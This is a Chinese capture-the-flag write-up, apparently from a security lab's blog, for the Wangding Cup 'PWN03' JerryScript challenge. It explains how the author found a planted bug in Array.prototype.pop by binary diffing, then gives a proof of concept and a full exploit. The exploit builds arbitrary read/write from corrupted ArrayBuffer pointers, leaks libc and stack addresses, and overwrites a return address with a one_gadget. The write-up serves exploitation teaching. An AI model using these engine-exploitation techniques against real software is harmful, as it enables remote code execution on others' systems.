看到网鼎杯青龙组有个 jerryscript 类型的 js 题目,之前没做过 js 类型的题,就尝试做一下这个,本文我会详细给出我从拿到题目到写 exp 的流程。
分析
题目给了一个编译好的 jerry 二进制文件,在 ida 里搜索字符串 version
跟到编译版本:
从 GitHub clone 下来以后,切换到这次提交:
git clone https://github.com/jerryscript-project/jerryscript.git
git checkout d7e21259fe330acf393d1c0bfbd60dfcbe23b6ba
一开始尝试在 GitHub 的 issue 和 commit 里翻一下看看有没有什么合适的可以利用的 1day,但是试了一些 poc ,以我不多完全没有的 JS 利用经验来看,没什么好用的 issue,所以尝试 diff 一下看看出题人是不是埋了洞。其实 diff 应该是第一步就要做的,确定没有埋洞才应该去翻 issue。
然后因为题目给的是不带符号的二进制文件,我们要编译一份去 diff,最好保证环境基本一致,根据给的 libc 来搜索字符串:
可知是 ubuntu 18.04 的环境,开一个 docker 以后进行编译,一个用来 diff ,跟题目一样的加上 strip ,一个用来 debug 和比对符号,加上 -g 并且关掉 strip:
python3 ./tools/build.py --strip=on
python3 ./tools/build.py --clean --compile-flag=-g --strip=off
然后 diff 可以看到唯一不一样的函数:
但是这个函数太大了, bindiff 打开之后很难找到不一样的地方,我选择用 ida 反编译我们自己编译出来的二进制文件,然后复制出来反编译结果(F5),再用 beyond compare 去跟题目的 F5 结果进行比对,看到一个有可能的地方:
然后根据附近的代码,找到相关函数:
并结合之前编译出来的带符号的文件进行比对:
然后在 bindiff 里直接跳过去:
结合源码进行分析:
// jerryscriptjerry-coreecmabuiltin-objectsecma-builtin-array-prototype.c
ecma_value_t
ecma_builtin_array_prototype_dispatch_routine (...){
...
switch (builtin_routine_id)
{
...
case ECMA_ARRAY_PROTOTYPE_POP: // 5
{
ret_value = ecma_builtin_array_prototype_object_pop (obj_p, length);
break;
}
可以看到是在 Array 的 pop 操作上加了一些代码,在 0x5378F cmp rbx, 7
上打断点,调试可以看到这里的 rbx 是数组长度,即这段代码逻辑是当数组长度等于7的时候,会循环把数组长度减少到-2,并且释放相关元素。
由此可以写个 poc 出来:
let a = [1,1,1,1,1,1,1,1]
a.pop()
print(a.length)
// 4294967295=0xffffffff
可以看到8个元素的数组经过 pop 之后,数组长度变成了-1,接下来就可以按照 callmecro 师傅的深育杯 HelloJerry 和 W&M 战队的强网杯2022的 wp 来写利用了
断点,第一个是用来当 break 用的,第二个断下来的地方的 rdi 里有Array的内容,两个地址都是通过在带符号的二进制文件里 p/x &sym
来找到后跟题目的文件比对一下附近的代码来确定的:
0x4f572: jerryx_print_value
0x53739: ecma_builtin_array_prototype_object_pop
let a = [0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
jerry的Array寻址是jerry_globals_heap + array->u1.property_list_cp << 3
,其中jerry_globals_heap
可以直接在我们编译好的带符号的二进制文件里看到:
验证一下:
>>> hex(0x000055555566c1c0+(0x5b<<3))
'0x55555566c498'
pop 执行之后,array->u1.property_list_cp
变成了0,所以我们要计算一个偏移来读 ArrayBuffer 的 buffer_p ,按照文章里修一下地址最低为为0,242是计算的(&jerry_globals_heap - &target_addr) // 4
即0x3c8//4
:
let a = [0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
aa = 11
print(a[242]);
// $ ./pwn poc.js
// 89549968
DataView 的 setBigUint64 可以设置 ArrayBuffer 里的内容, getBigUint64 则可以读取,所以做两个 DataView ,利用越界修改第一个 DataView 的 ArrayBuffer->buffer_p 为第二个 DataView 的 ArrayBuffer ,然后就可以通过 dv1 来操作 dv2 进行任意读写了,也就是这样的:
接下来的调试和 W&M 的文章里写的一样,任何函数调用(包括print)或者设置新变量都会导致地址变化,所以需要提前把坑位占好,设置好需要用的变量以及函数。
然后因为是 2.27 的 libc ,我看到有一个合适的 one_gadget 可以用,所以直接改main函数的返回地址,需要注意的是最后再改一下 dv1 的地址,不然会导致我们改的返回地址在释放的时候变成别的数字。
最后就是开了 ASLR 情况下的 exp 了,一开始改完 buffer_p 后就读取一次地址来泄露程序地址,其他代码都是直接复制了 W&M 战队的利用,根据调试修改一些偏移:
function hex(i){return "0x" + i.toString(16).padStart(16, '0');}
function aar(addr, dv1, dv2){
dv1.setBigUint64(0, addr, true);
if(dv2.buffer){
return dv2.getBigUint64(0, true);
}
return 0;
}
function aaw(addr, value, dv1, dv2){
dv1.setBigUint64(0, addr, true);
dv2.setBigUint64(0, value, true);
}
let a = [0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
var offset = a[242] - 0x3c;
a[242] = offset;
buffer_p = Number(d1.getBigUint64(0, true))
elf_base = buffer_p - 0x26db80;
print(hex(elf_base))
free_got = Number(aar(elf_base + 0x26adf8, d1, d2));
libc_base = free_got - 0x97910;
environ = libc_base + 0x61c118;
stack = Number(aar(environ, d1, d2));
libc_start_main_ret = stack - 0xf8;
aaw(libc_start_main_ret, libc_base + 0x10a2fc, d1, d2);
aar(environ, d1, d2)
参考文章
-
• callmecro师傅关于深育杯HelloJerry的文章(https://www.anquanke.com/post/id/259897)
-
• W&M战队强网杯2022easychain(https://blog.wm-team.cn/index.php/archives/23/#easychain1)
原文始发于微信公众号(BeFun安全实验室):网鼎杯青龙组的 PWN03 Jerryscript 题目